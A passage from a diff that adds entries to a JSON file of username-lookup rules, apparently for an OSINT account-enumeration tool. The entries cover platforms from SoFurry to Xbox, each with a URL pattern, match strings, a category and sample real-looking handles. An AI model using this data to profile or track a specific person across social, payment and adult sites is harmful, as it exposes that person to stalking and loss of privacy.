404, + "known" : ["admin", "miklo"], + "cat" : "social", + "valid" : true + }, + { + "name" : "social_msdn", + "uri_check" : "https://social.msdn.microsoft.com/profile/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.", + "m_code" : 404, + "known" : ["edoardo", "microsoftfan"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-social_tchncs", + "uri_check" : "https://social.tchncs.de/@{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you are looking for isn't here", + "m_code" : 301, + "known" : ["michael", "frank"], + "cat" : "social", + "valid" : true + }, + { + "name" : "sofurry", + "uri_check" : "https://{account}.sofurry.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "'s Profile | SoFurry", + "m_string" : "SoFurry - Error | SoFurry", + "m_code" : 404, + "known" : ["reeden-landshey", "tigerzero"], + "cat" : "art", + "valid" : true + }, + { + "name" : "SoliKick", + "uri_check" : "https://solikick.com/-{account}", + "e_code" : 200, + "e_string" : "page_guest_users-view", + "m_string" : "This item has been removed or is no longer available", + "m_code" : 302, + "known" : ["milehighed", "Edmundus"], + "cat" : "social", + "valid" : true + }, + { + "name" : "soloby", + "uri_check" : "http://www.soloby.ru/user/{account}", + "e_code" : 200, + "e_string" : "- Универ soloBY", + "m_string" : "Универ soloBY", + "m_code" : 404, + "known" : ["igor", "dana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "solo.to", + "uri_check" : "https://solo.to/{account}", + "e_code" : 200, + "e_string" : "create your own page", + "m_code" : 404, + "m_string" : "The page you're looking for isn't here.", + "known" : ["saruei", "yui"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SoundCloud", + "uri_check" : "https://soundcloud.com/{account}", + "e_code" : 200, + "e_string" : "SoundCloud", + "m_string" : "sounds", + "m_code" : 404, + "known" : ["test123"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Soup", + "uri_check" : "https://www.soup.io/author/{account}", + "e_code" : 200, + "e_string" : "Author at Soup.io", + "m_string" : "Soup.io - News, Sports, Entertainment, TV, Tech, Gaming", + "m_code" : 301, + "known" : ["john", "cristina"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Sourceforge", + "uri_check" : "https://sourceforge.net/u/{account}/profile", + "e_code" : 200, + "e_string" : " / Profile", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "SpankPay", + "uri_check" : "https://api.spankpay.com/graphql", + "uri_pretty" : "https://spankpay.me/{account}", + "post_body" : "NEED TO FIX THIS", + "e_code" : 200, + "e_string" : "headerPhoto", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["Medroxy","brittanyandrews"], + "cat" : "finance", + "valid" : false + }, + { + "name" : "Speaker Deck", + "uri_check" : "https://speakerdeck.com/{account}/", + "e_code" : 200, + "e_string" : ") on Speaker Deck", + "m_string" : "User Not Found - Speaker Deck", + "m_code" : 404, + "known" : ["petecheslock", "turbosmart45"], + "cat" : "social", + "valid" : true + }, + { + "name" : "speedrun", + "uri_check" : "https://www.speedrun.com/user/{account}/", + "e_code" : 200, + "e_string" : "Runs - ", + "m_string" : "speedrun.com", + "m_code" : 404, + "known" : ["mike", "chris"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "SpiceWorks", + "uri_check" : "https://community.spiceworks.com/people/{account}", + "e_code" : 200, + "e_string" : "Portfolio of IT Projects - Spiceworks", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["spicerex", "rod-it"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "sporcle", + "uri_check" : "https://www.sporcle.com/user/{account}/people/", + "e_code" : 200, + "e_string" : "'s Sporcle Friends", + "m_string" : "This Sporcle user cannot be found.", + "m_code" : 301, + "known" : ["Test", "lolshortee"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Spotify", + "uri_check" : "https://open.spotify.com/user/{account}", + "e_code" : 200, + "e_string" : "on Spotify", + "m_string" : "Spotify - Web Player", + "m_code" : 200, + "known" : ["kexp_official", "mkbhd"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Steam", + "uri_check" : "https://steamcommunity.com/id/{account}", + "e_code" : 200, + "e_string" : "g_rgProfileData =", + "m_string" : "Steam Community :: Error", + "m_code" : 200, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "steemit", + "uri_check" : "https://steemit.com/@{account}", + "e_code" : 200, + "e_string" : "blog", + "m_string" : "Page Not Found - Steemit", + "m_code" : 301, + "known" : ["petlover", "zalat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "steller", + "uri_check" : "https://steller.co/{account}", + "e_code" : 200, + "e_string" : " on Steller", + "m_string" : "", + "m_code" : 404, + "known" : ["jeannnn", "havwoods"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Stoners.social (Mastodon Instance)", + "uri_check" : "https://stoners.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://stoners.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Tony", "slothmagic"], + "cat" : "social", + "valid" : true + }, + { + "name" : "StoryCorps", + "uri_check" : "https://archive.storycorps.org/user/{account}/", + "e_code" : 200, + "e_string" : "archive author", + "m_string" : "We're sorry, but the page", + "m_code" : 404, + "known" : ["jthorstad", "paul-swider"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "StreamElements", + "uri_check" : "https://api.streamelements.com/kappa/v2/channels/{account}", + "uri_pretty" : "https://streamelements.com/{account}", + "e_code" : 200, + "e_string" : "\"providerId\"", + "m_code" : 404, + "m_string" : "error", + "known" : ["honey", "dude"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "StreamLabs", + "uri_check" : "https://streamlabs.com/api/v6/user/{account}", + "uri_pretty" : "https://streamlabs.com/{account}/tip", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 401, + "m_string" : "UNAUTHORIZED", + "known" : ["veibae", "cutie_cori"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Stripchat", + "uri_check" : "https://stripchat.com/{account}", + "e_code" : 200, + "e_string" : "I Do in My Shows:", + "m_string" : "Oops. The page you were looking for doesn't exist", + "m_code" : 404, + "known" : ["DulcieRichard", "Katie-Mili"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Subscribestar", + "uri_check" : "https://subscribestar.adult/{account}", + "e_code" : 200, + "e_string" : "CREATOR STATS", + "m_code" : 404, + "m_string" : "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "known" : ["missmoonified", "honey"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "sukebei.nyaa.si", + "uri_check" : "https://sukebei.nyaa.si/user/{account}", + "e_code" : 200, + "e_string" : "'s torrents", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : ["kouhy76", "Rektr0"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Suzuri", + "uri_check" : "https://suzuri.jp/{account}", + "e_code" : 200, + "e_string" : "Items", + "m_string" : "Push Space-key", + "m_code" : 404, + "known" : ["itochanxxx", "alex"], + "cat" : "business", + "valid" : true + }, + { + "name" : "szmer.info", + "uri_check" : "https://szmer.info/u/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Code: Couldn't find that username or email.", + "m_code" : 200, + "known" : ["przeczzpreczem", "Xavier"], + "cat" : "social", + "valid" : true + }, + { + "name" : "tabletoptournament", + "uri_check" : "https://www.tabletoptournaments.net/eu/player/{account}", + "e_code" : 200, + "e_string" : "- Player Profile | T³ - TableTop Tournaments", + "m_string" : "No player with the nickname", + "m_code" : 200, + "known" : ["Lars01", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Tagged", + "uri_check" : "https://secure.tagged.com/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Tagged - The social network for meeting new people", + "m_code" : 302, + "known" : ["Samantha", "Robert"], + "cat" : "social", + "valid" : true + }, + { + "name" : "TamTam", + "uri_check" : "https://tamtam.chat/{account}", + "e_code" : 200, + "e_string" : "deeplink=tamtam://chat/", + "m_string" : "ТамТам", + "m_code" : 302, + "known" : ["blue", "John"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tanuki.pl", + "uri_check" : "https://tanuki.pl/profil/{account}", + "e_code" : 200, + "e_string" : "Dołączył", + "m_string" : "Nie ma takiego użytkownika", + "m_code" : 404, + "known" : ["ania", "avellana"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "TAPiTAG", + "uri_check" : "https://account.tapitag.co/tapitag/api/v1/{account}", + "uri_pretty" : "https://account.tapitag.co/{account}", + "e_code" : 200, + "e_string" : "User details are Showing", + "m_string" : "The rf number is not valid", + "m_code" : 200, + "known" : ["JonathanWallace", "gearoidconsidine"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Tappy", + "uri_check" : "https://api.tappy.tech/api/profile/username/{account}", + "uri_pretty" : "https://www.tappy.tech/{account}", + "e_code" : 200, + "e_string" : "user_id", + "m_string" : "Profile of username Not Found", + "m_code" : 200, + "known" : ["alexborrelli", "domocann"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Taringa", + "uri_check" : "https://www.taringa.net/{account}", + "e_code" : 200, + "e_string" : " en Taringa!", + "m_string" : "Colectiva en Taringa!", + "m_code" : 301, + "known" : ["jocaxav", "engendrometal"], + "cat" : "social", + "valid" : true + }, + { + "name" : "taskrabbit", + "uri_check" : "https://www.taskrabbit.com/profile/{account}/about", + "e_code" : 200, + "e_string" : "’s Profile", + "m_string" : "", + "m_code" : 302, + "known" : ["john", "sam"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Teamtreehouse", + "uri_check" : "https://teamtreehouse.com/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "Oops, Something went missing", + "m_code" : 404, + "known" : ["john"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Teddygirls", + "uri_check" : "https://teddysgirls.net/models/{account}", + "e_code" : 200, + "e_string" : ";s exclusive page to subscribe to her", + "m_string" : "The page you were looking for doesn't exist", + "m_code" : 404, + "known" : ["jaycee-starr", "chubbychick94"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Teespring", + "uri_check" : "https://commerce.teespring.com/v1/stores?slug={account}", + "uri_pretty" : "https://{account}.creator-spring.com", + "e_code" : 200, + "e_string" : "sellerToken", + "m_code" : 404, + "m_string" : "{\"errors\":{\"store\":[\"not found\"]}}", + "known" : ["missmoonified", "honey"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Teknik", + "uri_check" : "https://user.teknik.io/{account}", + "e_code" : 200, + "e_string" : "Public Key", + "m_string" : "The user does not exist", + "m_code" : 200, + "known" : ["red", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Telegram", + "uri_check" : "https://t.me/{account}", + "e_code" : 200, + "e_string" : "tgme_page_title", + "m_string" : "noindex, nofollow", + "m_code" : 200, + "known" : ["alice", "giovanni"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tellonym", + "uri_check" : "https://tellonym.me/{account}", + "e_code" : 200, + "e_string" : "on Tellonym", + "m_string" : "- Honest & Anonymous Feedback", + "m_code" : 404, + "known" : ["jane", "jimmy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tenor", + "uri_check" : "https://tenor.com/users/{account}", + "e_code" : 200, + "e_string" : "
    ", + "m_code" : 404, + "m_string" : "We could not find the page you were looking for.", + "known" : ["gnutv", "d33jay23"], + "cat" : "images", + "valid" : true + }, + { + "name" : "TF2 Backpack Examiner", + "uri_check" : "http://www.tf2items.com/id/{account}/", + "e_code" : 200, + "e_string" : "TF2 Backpack -", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Mastodon-tfl.net.pl", + "uri_check" : "https://tfl.net.pl/@{account}", + "e_code" : 200, + "e_string" : "@tfl.net.pl", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["jaczad", "manies"], + "cat" : "social", + "valid" : true + }, + { + "name" : "themeforest", + "uri_check" : "https://themeforest.net/user/{account}", + "e_code" : 200, + "e_string" : "s profile on ThemeForest", + "m_string" : "Page Not Found | ThemeForest", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "art", + "valid" : true + }, + { + "name" : "thegatewaypundit", + "uri_check" : "https://www.thegatewaypundit.com/author/{account}/", + "e_code" : 200, + "e_string" : "summary", + "m_string" : "Not found, error 404", + "m_code" : 404, + "known" : ["patti", "joehoft"], + "cat" : "political", + "valid" : true + }, + { + "name" : "theguardian", + "uri_check" : "https://www.theguardian.com/profile/{account}", + "e_code" : 200, + "e_string" : "https://www.theguardian.com/profile/", + "m_string" : "Page not found | The Guardian", + "m_code" : 404, + "known" : ["minna-salami", "johnnaughton"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Thetattooforum", + "uri_check" : "https://www.thetattooforum.com/members/{account}/", + "e_code" : 200, + "e_string" : "Insert This Gallery", + "m_string" : "We’re sorry", + "m_code" : 500, + "known" : ["mixdop", "modifyielts"], + "cat" : "art", + "valid" : true + }, + { + "name" : "TikTok", + "uri_check" : "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{account}", + "uri_pretty" : "https://www.tiktok.com/@{account}?lang=en", + "e_code" : 200, + "e_string" : "author_url", + "m_string" : "Something went wrong", + "m_code" : 400, + "known" : ["gordonramsayofficial", "pookiebear73"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tilde.zone (Mastodon Instance)", + "uri_check" : "https://tilde.zone/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://tilde.zone/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["ben", "lunatic"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tinder", + "uri_check" : "https://tinder.com/@{account}", + "e_code" : 200, + "e_string" : ") | Tinder", + "m_string" : "Error |", + "m_code" : 404, + "known" : ["WebBreacher", "OSINT_Tactical"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Twitter archived profile", + "uri_check" : "http://archive.org/wayback/available?url=https://twitter.com/{account}", + "uri_pretty" : "https://web.archive.org/web/2/https://twitter.com/{account}", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["jack", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Twitter archived tweets", + "uri_check" : "http://archive.org/wayback/available?url=https://twitter.com/{account}/status/*", + "uri_pretty" : "https://web.archive.org/web/*/https://twitter.com/{account}/status/*", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["jack", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "twoplustwo", + "uri_check" : "https://forumserver.twoplustwo.com/ajax.php?do=usersearch", + "uri_pretty" : "https://forumserver.twoplustwo.com/search.php", + "post_body" : "securitytoken=guest&do=usersearch&fragment={account}", + "e_code" : 200, + "e_string" : "userid=", + "m_string" : "", + "m_code" : 404, + "known" : ["redsox", "adam"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "twpro", + "uri_check" : "https://twpro.jp/{account}", + "e_code" : 200, + "e_string" : "おとなりさん", + "m_code" : 404, + "m_string" : "をご確認ください。", + "known" : ["wsise47", "tsukiusa630"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ubisoft", + "uri_check" : "https://discussions.ubisoft.com/user/{account}", + "e_code" : 200, + "e_string" : "| Ubisoft Discussion Forums", + "m_string" : "You seem to have stumbled upon a page that does not exist.", + "m_code" : 404, + "known" : ["fizzle_fuze", "th05324"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Udemy", + "uri_check" : "https://www.udemy.com/user/{account}/", + "e_code" : 200, + "e_string" : "| Udemy", + "m_string" : "Online Courses - Learn Anything, On Your Schedule | Udemy", + "m_code" : 301, + "known" : ["stephane-maarek", "lizbrown3"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "uefconnect", + "uri_check" : "https://uefconnect.uef.fi/en/person/{account}/", + "e_code" : 200, + "e_string" : "- UEFConnect", + "m_string" : "Page not found - UEFConnect", + "m_code" : 404, + "known" : ["heli.mutanen", "mette.heiskanen"], + "cat" : "business", + "valid" : true + }, + { + "name" : "uid", + "uri_check" : "http://uid.me/{account}", + "e_code" : 200, + "e_string" : "- uID.me", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "peter"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Uiuxdev.social (Mastodon Instance)", + "uri_check" : "https://uiuxdev.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://uiuxdev.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["msr", "GravelLegend"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ultras Diary", + "uri_check" : "http://ultrasdiary.pl/u/{account}/", + "e_code" : 200, + "e_string" : "Mecze wyjazdowe:", + "m_string" : "Ile masz wyjazdów?", + "m_code" : 404, + "known" : ["janek", "kowal"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "ulub.pl", + "uri_check" : "http://ulub.pl/profil/{account}", + "e_code" : 200, + "e_string" : "Muzyka (", + "m_string" : "Strona nie istnieje.", + "m_code" : 404, + "known" : ["janek", "test"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "unsplash", + "uri_check" : "https://unsplash.com/@{account}", + "e_code" : 200, + "e_string" : "| Unsplash Photo Community", + "m_string" : "Hm, the page you were looking for doesn't seem to exist anymore.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "images", + "valid" : true + }, + { + "name" : "untappd", + "uri_check" : "https://untappd.com/user/{account}/", + "e_code" : 200, + "e_string" : "on Untappd", + "m_string" : "Untappd | 404", + "m_code" : 404, + "known" : ["test", "phil"], + "cat" : "social", + "valid" : true + }, + { + "name" : "USA Life", + "uri_check" : "https://usa.life/{account}", + "e_code" : 200, + "e_string" : "Please log in to like, share and comment", + "m_string" : "Sorry, page not found", + "m_code" : 302, + "known" : ["abaynes79", "not1face"], + "cat" : "social", + "valid" : true + }, + { + "name" : "utip.io", + "uri_check" : "https://utip.io/creator/profile/{account}", + "uri_pretty" : "https://utip.io/{account}", + "e_code" : 200, + "e_string" : "\"userName\"", + "m_code" : 404, + "m_string" : "Not a valid web service key", + "known" : ["honey", "chloe"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Uwumarket", + "uri_check" : "https://uwumarket.us/collections/{account}", + "e_code" : 200, + "e_string" : "collection-hero__text-wrapper", + "m_code" : 404, + "m_string" : "Page not found", + "known" : ["saki", "aicandii"], + "cat" : "business", + "valid" : true + }, + { + "name" : "uwu.ai", + "uri_check" : "https://{account}.uwu.ai/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "property=\"twitter:card\"", + "m_code" : 404, + "m_string" : "Sorry, the requested page could not be found.", + "known" : ["spooky", "citruciel"], + "cat" : "social", + "valid" : true + }, + { + "name" : "vsco", + "uri_check" : "https://vsco.co/{account}/gallery", + "e_code" : 200, + "e_string" : "| VSCO", + "m_string" : "This page does not exist", + "m_code" : 404, + "known" : ["sam", "becca"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Venmo", + "uri_check" : "https://account.venmo.com/u/{account}", + "e_code" : 200, + "e_string" : "profileInfo_username__", + "m_string" : "Sorry, the page you requested does not exist!", + "m_code" : 404, + "known" : ["John-Goolsby-8", "kate-mura"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Vero", + "uri_check" : "https://vero.co/{account}", + "e_code" : 200, + "e_string" : "on VERO™", + "m_string" : "The page you are looking for doesn't exist.", + "m_code" : 404, + "known" : ["alex", "johnny"], + "cat" : "art", + "valid" : true + }, + { + "name" : "vibilagare", + "uri_check" : "https://www.vibilagare.se/users/{account}", + "e_code" : 200, + "e_string" : "Profil på vibilagare.se", + "m_string" : "Sidan hittades inte |", + "m_code" : 404, + "known" : ["lars01", "sven"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "viddler", + "uri_check" : "https://www.viddler.com/channel/{account}/", + "e_code" : 200, + "e_string" : "profile-details", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["GamingParodies", "planphilly"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Vimeo", + "uri_check" : "https://vimeo.com/{account}", + "e_code" : 200, + "e_string" : "is a member of Vimeo, the", + "m_string" : "Make sure you’ve typed the URL correctly", + "m_code" : 404, + "known" : ["john", "alice"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Vine", + "uri_check" : "https://vine.co/api/users/profiles/vanity/{account}", + "uri_pretty" : "https://vine.co/{account}", + "e_code" : 200, + "e_string" : "userId", + "m_string" : "That record does not exist", + "m_code" : 404, + "known" : ["TomHarlock", "Seks"], + "cat" : "video", + "valid" : true + }, + { + "name" : "visnesscard", + "uri_check" : "https://my.visnesscard.com/Home/GetCard/{account}", + "uri_pretty" : "https://my.visnesscard.com/{account}", + "e_code" : 200, + "e_string" : "end_point", + "m_string" : "card_id\": 0", + "m_code" : 200, + "known" : ["Lisa-Gordon", "Bill-Schaeffer"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Vivino", + "uri_check" : "https://www.vivino.com/users/{account}", + "e_code" : 200, + "e_string" : "", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["test", "admin"], + "cat" : "video", + "valid" : true + }, + { + "name" : "VIP-blog", + "uri_check" : "http://{account}.vip-blog.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "blog : ", + "m_string" : "Blog inexistant", + "m_code" : 200, + "known" : ["sarah", "brahim01"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Virustotal", + "uri_check" : "https://www.virustotal.com/gui/user/{account}", + "e_code" : 200, + "e_string" :"USER PROFILE", + "m_string" : "User not found", + "m_code" : 200, + "known" : ["cyber", "cybersecstu"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "VK", + "uri_check" : "https://vk.com/{account}", + "e_code" : 200, + "e_string" : "id=\"profile\"", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["ches_ches", "mike.kidlazy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Vkl.world (Mastodon Instance)", + "uri_check" : "https://vkl.world/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://vkl.world/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["king", "aniver"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Vmst.io (Mastodon Instance)", + "uri_check" : "https://vmst.io/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://vmst.io/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["vmstan", "honestdave"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Voice123", + "uri_check" : "https://voice123.com/api/providers/search/{account}", + "uri_pretty" : "https://voice123.com/{account}", + "e_code" : 200, + "e_string" : "user_id", + "m_code" : 200, + "m_string" : "[]", + "known" : ["dottovuu", "maheshsaha1992"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Voices.com", + "uri_check" : "https://www.voices.com/profile/{account}/", + "e_code" : 200, + "e_string" : "Last Online", + "m_string" : "Try going back to the previous page or see below for more options", + "m_code" : 301, + "known" : ["briankirchoff", "bryankopta"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Wanelo", + "uri_check" : "https://wanelo.co/{account}", + "e_code" : 200, + "e_string" : "on Wanelo", + "m_string" : "Hmm, that's embarrassing", + "m_code" : 404, + "known" : ["lisandrareyes"], + "cat" : "shopping", + "valid" : true, + "invalid_chars" : "." + }, + { + "name" : "watchmemore.com", + "uri_check" : "https://api.watchmemore.com/api3/profile/{account}/", + "uri_pretty" : "https://watchmemore.com/{account}/", + "e_code" : 200, + "e_string" : "displayName", + "m_string" : "notExists", + "m_code" : 400, + "known" : ["medroxy", "nodjev"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "warriorforum", + "uri_check" : "https://www.warriorforum.com/members/{account}.html", + "e_code" : 200, + "e_string" : "| Warrior Forum", + "m_string" : "Oops | Warrior Forum -", + "m_code" : 400, + "known" : ["alex", "peter"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Watchmyfeed", + "uri_check" : "https://watchmyfeed.com/{account}", + "e_code" : 200, + "e_string" : "SEND ME A TIP", + "m_string" : "", + "m_string" : "This user doesn't seem to be in our database.", + "m_code" : 404, + "known" : ["weasyl", "test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "weebly", + "uri_check" : "https://{account}.weebly.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "404 - Page Not Found", + "m_code" : 404, + "known" : ["dave", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "weheartit", + "uri_check" : "https://weheartit.com/{account}", + "e_code" : 200, + "e_string" : " on We Heart It", + "m_string" : " (404)", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "wego", + "uri_check" : "https://wego.social/{account}", + "e_code" : 200, + "e_string" : "Following", + "m_string" : "Sorry, page not found!", + "m_code" : 302, + "known" : ["mmish2", "Lisa_M_S"], + "cat" : "political", + "valid" : true + }, + { + "name" : "weibo", + "uri_check" : "https://tw.weibo.com/{account}", + "e_code" : 200, + "e_string" : "粉絲", + "m_string" : "Oops!", + "m_code" : 404, + "known" : ["chentingni", "fbb0916"], + "cat" : "social", + "valid" : true + }, + { + "name" : "WeTransfer", + "uri_check" : "https://{account}.wetransfer.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "default_recipient_email", + "m_string" : "", + "m_code" : 302, + "known" : ["mark", "joe"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Wikidot", + "uri_check" : "http://www.wikidot.com/user:info/{account}", + "e_code" : 200, + "e_string" : "Wikidot.com:", + "m_string" : "Free and Pro Wiki Hosting", + "m_code" : 404, + "known" : ["jack", "allen"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Wikipedia", + "uri_check" : "https://en.wikipedia.org/w/api.php?action=query&format=json&list=users&ususers={account}", + "uri_pretty" : "https://en.wikipedia.org/wiki/User:{account}", + "e_code" : 200, + "e_string" : "userid", + "m_string" : "missing:", + "m_code" : 200, + "known" : ["Mcd51", "W._Frank"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Wimkin-PublicProfile", + "uri_check" : "https://wimkin.com/{account}", + "e_code" : 200, + "e_string" : "is on WIMKIN", + "m_string" : " The page you are looking for cannot be found.", + "m_code" : 404, + "known" : ["alex", "smith", "boomer"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Wireclub", + "uri_check" : "https://www.wireclub.com/users/{account}", + "e_code" : 200, + "e_string" : "Chat With", + "m_string" : "People - Wireclub", + "m_code" : 301, + "known" : ["deae", "cheerfulsarcasm", "braydenskiresort"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Wakatime", + "uri_check" : "https://wakatime.com/@{account}", + "e_code" : 200, + "e_string" : ") - WakaTime", + "m_string" : "404: Not Found", + "m_code" : 404, + "known" : ["jake", "alimirzayev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "wishlistr", + "uri_check" : "https://www.wishlistr.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s profile", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Wolni Słowianie", + "uri_check" : "https://wolnislowianie.pl/{account}", + "e_code" : 200, + "e_string" : "Oś czasu", + "m_string" : "Nie znaleziono strony, której szukasz.", + "m_code" : 404, + "known" : ["janek", "kowal"], + "cat" : "social", + "valid" : true + }, + { + "name" : "wordnik", + "uri_check" : "https://www.wordnik.com/users/{account}", + "e_code" : 200, + "e_string" : "Welcome,", + "m_string" : "Wordnik: Page Not Found", + "m_code" : 404, + "known" : ["elle", "john"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "WordPress", + "uri_check" : "https://profiles.wordpress.org/{account}/", + "e_code" : 200, + "e_string" : "user-member-since", + "m_string" : "", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "WordPress Support", + "uri_check" : "https://wordpress.org/support/users/{account}/", + "e_code" : 200, + "e_string" : "s Profile | WordPress.org", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Wowhead", + "uri_check" : "https://www.wowhead.com/user={account}", + "e_code" : 200, + "e_string" : " Profile - Wowhead", + "m_string" : "Error - Wowhead", + "m_code" : 404, + "known" : ["Ashelia", "Zizarz"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Wykop", + "uri_check" : "https://www.wykop.pl/ludzie/{account}/", + "e_code" : 200, + "e_string" : "Aktywność użytkownika", + "m_string" : "Czy na pewno tego szukałeś? Taka strona nie istnieje.", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Xanga", + "uri_check" : "http://{account}.xanga.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s Xanga Site | Just", + "m_string" : "", + "m_code" : 302, + "known" : ["john"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Xbox Gamertag", + "uri_check" : "https://www.xboxgamertag.com/search/{account}", + "e_code" : 200, + "e_string" : "Games Played", + "m_string" : "Gamertag doesn't 